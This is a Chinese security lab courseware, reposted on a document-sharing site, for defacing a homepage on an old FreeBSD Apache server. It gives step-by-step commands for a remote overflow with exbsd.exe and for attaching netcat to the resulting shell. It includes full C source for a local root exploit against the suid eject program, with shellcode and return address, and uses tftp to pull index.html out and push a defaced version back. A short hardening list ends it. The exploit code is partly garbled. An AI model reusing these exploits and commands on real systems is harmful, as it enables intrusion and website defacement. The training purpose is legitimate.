SEC-B07-001.1-Web服务首页篡改

更新时间:2024-01-07 16:34:01 阅读量: 教育文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

SEC-B07-001.1

WEB服务首页篡改

2010年4月

实验课件摘要

技术背景

Apache HTTP Server是最流行的开放源码WEB服务器系统之一,它是由Apache Group开发、发布并支持的。Apache HTTP Server支持静态编译及动态模块加载2种方式,在其某些特定版本中的动态模块存在缓冲区溢出漏洞,攻击者会利用此漏洞达到对WEB服务器进行攻击或执行指定程序的目的。

实验目的

通过本实验使读者了解WEB服务器的安全漏洞以增强安全意识。

实验平台

攻击机(客户端):Windows2000/XP/2003 目标机(服务端):UNIX Server ( FreeBSD )

实验工具

FreeBSD 默认版本Apache 远程溢出工具 exbsd.exe NetCat 1.11 for Windows (网络瑞士军刀) Tftpd Server

实验要点

1.

FreeBSD 本地提权

2

2.

HTML 文件修改

3

实验步骤指导

访问目标主机的HTTP服务

在学生试验机IE浏览器中输入http://目标试验机IP地址 ,访问目标实验机上的Web站点。

【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

让学生访问实验目标机的web地址,确认实验目标机上存在可以访问的Web服务器站点。 ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

探测目标主机WEB服务信息

让学生将实验课程提供的实验工具下载的本地目录,并在学生机上打开CMD命令行窗口; 在CMD命令行窗口中,将当前目录切换到下载的实验工具存放目录,如图所示:E:\\Some Tools\\netcat目录。 命令:

4

cd E:\\Some Tools\\netcat

确认下载工具nc.exe存在当前目录,在CMD命令行中执行如下操作。 命令:

nc.exe IP地址 80 输入如下命令:

GET /abcdefg HTTP/1.0

输入命令后连续两次回车,可以从返回中获取服务器版本信息。

【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ IP地址为实验目标机的IP地址,即Web站点的IP地址。

命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。这么做的理由是 404错误的返回页面内容比较少,便于查看。

返回信息中还包含目标服务器Web站点地址以及Web服务器使用的端口信息【通过使用命令,再次确认目标站点服务器】。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

用 exbsd.exe 尝试远程溢出

在CMD命令行中切换到exbsd.exe工具存放的目录,并执行如下操作: 命令:

5

exbsd.exe -t 目标主机IP地址

【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 【知识重点】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

如何使用特殊工具对目标计算机进行溢出攻击,了解溢出攻击后的效果,以及反馈信息。 通过移出攻击能够获取到目标服务器IP地址以及存在漏洞的端口信息,通过端口的访问能够获得连接目标计算机的权限。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

溢出成功,用NetCat 连接

等待溢出攻击成功后,显示如下图所示信息:

再次使用nc.exe工具连接实验目标机; 命令:

6

nc.exe 目标主机IP地址 目标端口

连接上以后,我们尝试做如下操作,以验证连接实验目标机是否成功。 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限 用 w 命令看当前有谁在线,看到两个远程登录连接 用 pwd 命令看当前所在目录

用 uname -a 命令看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁 用cd /tmp 命令切换目录至 /tmp 下,准备编写提权程序。 【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ Linux系统的基本操作命令请参考提供的Linux命令手册。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

提升权限

FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。

eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。

编写提权代码

在连接实验目标机的命令行窗口中,进行提权代码编写: 命令:

cat > ex.c << _EOF

7

注:特别要注意开始的 << _EOF 和最后的 _EOF 在命令执行后,输入如下所示的代码: #include #include #include #include #define BOF_LEN 1260 extern char** environ; int main( void ) { char buf[BOF_LEN]; char* ptr; char* arg[4];

unsigned int ret = 0xbfbfeead;

char shellcode[] = \\\xeb\\x17\\x5b\\x31\\xc0\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\ \ \\

8

char envshell[4096];

memset( envshell, 0x90, 4096 );

memcpy( envshell + 4096 - strlen( shellcode ), shellcode, strlen( shellcode ) ); envshell[4096] = 0x0;

memcpy( envshell, \5 ); putenv( envshell );

memset( buf, 0x41, BOF_LEN - 1 );

*(unsigned int *)(buf + BOF_LEN - 5) = ret; *(buf + BOF_LEN - 1) = 0x0; arg[0] = \/usr/local/sbin/eject\ arg[1] = \-t\ arg[2] = buf; arg[3] = NULL;

execve (arg[0], arg, environ); return( 0 ); } 【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

在使用此方式编写代码时,不允许用户在输入错误代码后进行修改,只能再次执行命令从新进行代码输入。

为方便实验,代码输入可以采用拷贝/复制方式进行输入,首先将代码拷贝到txt文档上,并在txt文档上再次复制代码,在代码输入窗口中点击鼠标右键,将拷贝代码自动输入。 输入完成提权代码后,请一定以_EOF结尾,如图片所示。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 【知识重点】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 如何在Linux系统下进行C语言程序的开发,以及C语言程序的编译。 ※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

编译提权代码,运行提权程序

在编写完成提权代码文件后,查看代码文件是否存在:

9

命令: ls -al ex.c

使用 gcc命令对代码文件进行 编译; 命令: gcc -o ex ex.c

查看编译后的代码提权文件是否存在; 命令: ls -al ex

执行编译后的代码提权文件然后执行 命令: ./ex

查看当前用户被提权后的状态; 命令: id

可以看到 euid=0, 命令: whoami

可以看到已经是 root了。

【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 目前还不是完全的 root 权限,但是对于篡改首页来说已经够了。

10

Root权限的进一步提升可参考《Linux 系统漏洞利用》的内容。 在Linux系统下执行文件,需要在可执行文件前“./ ”符号。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

篡改网站首页

寻找web服务器的配置文件存储路径

1、 查找 apache 包的完整名称; 命令:

usr/sbin/pkg_info | grep apache

可以看到包完整名称为“apache-1.3.27_4”

2、 查看apache安装的根路径; 命令:

/usr/sbin/pkg_info -p 包完整名称 可以看到是 /usr/local

3、 查看配置文件所在的路径; 命令:

/usr/sbin/pkg_info -f 包完整名称 | grep httpd.conf

可以看到是 %D/etc/apache/httpd.conf,其中的 %D就是前面得到的 /usr/local

11

综上,apache 服务器的配置文件为 /usr/local/etc/apache/httpd.conf 【知识重点】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

? 如何在Linux系统下进行指定文件名称,文件目录的查找,以及查找结果的输出。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

寻找网站页面文件存储路径

1、 查找Web站点的页面根路径; 命令:

cat /usr/local/etc/apache/httpd.conf | grep DocumentRoot | grep -v “#” 可以得到的路径为:/usr/local/www/data

【知识重点】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

? 如何在Linux系统下对指定文件的内容进行查找,并对查找内容进行输入。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※ 2、 用切换目录到网站页面根路径; 命令:

cd /usr/local/www/data

3、 查看Web站点首页是否在当前路径下; 命令:

ls -al index.html

12

可以看到 index.html 在当前路径下。

【注释】

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

? ?

UNIX系统的命令行是大小写敏感的,因此输入命令及参数时注意区分大小写。 上面的命令中 grep -v ”#” 的含义是排除含”#”的行。

※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

用 Tftpd 实用程序传输文件

使用下载的tftpd32.exe工具,将Web 站点服务器上的index.html文件传输到本地学生机上。

在本地学生机上启动 tftpd32.exe工具,如下如所示,设置传输到本地的index.html文件存放路径。

13

在 nc.exe工具的窗口中将 index.html 传输到学生机本地。

进入 tftp 客户端程序 命令: tftp

与学生机建立FTP连接: 命令:

connect 学生机IP地址 设置传输模式为二进制传输 命令: binary

将当前目录下的index.html文件传输到学生机。 命令: put index.html

我们可以在 tftpd32.exe 程序的 Log Viewer窗口看到传输信息,并在 tftpd32.exe 的同级目录中看到传学生机上的index.html文件。

14

修改index.html文件

1、 用编辑工具打开 index.html 文件,如记事本,查找”

2、 在 后面插入信息:

犯我中华者,虽远必诛!

3、 查找页面编码,修改为简体中文(GB2312)

15

将修改后的index.html传输到远程主机

1、 在执行 nc.exe 的窗口中将在学生机上修改后的 index.html 传输到Web站点服务器上。

进入 tftp 客户端程序【已经执行过,可以忽略】 命令: tftp

16

与学生机建立FTP连接:【已经执行过,可以忽略】 命令:

connect 学生机IP地址

设置传输模式为二进制传输【已经执行过,可以忽略】 命令: binary

将学生机上修改后的index.html文件传输到Web站点服务器的当前目录。【需要将Web站点服务器上原有的index.html文件覆盖】 命令: get index.html

我们可以在 tftpd32.exe 程序的 Log Viewer窗口看到传输信息

查看修改后的页面

在学生机上的浏览器中再次输入http://实验目标机IP地址 查看已经被篡改后的Web站点页面,如下图所示:

17

退出root shell,断开连接

输入 quit 退出 tftp 客户端程序: 命令: quit

退出通过溢出获得到Web站点服务器的 root shell 命令: exit

再次输入 exit 断开连接

解决方案

1.

对系统进行加固,更新有问题的服务程序

18

2. 3.

做双向ACL,拒绝非法端口访问 对有问题的内核打补丁或升级内核

19

本文来源:https://www.bwwdw.com/article/w36x.html

Top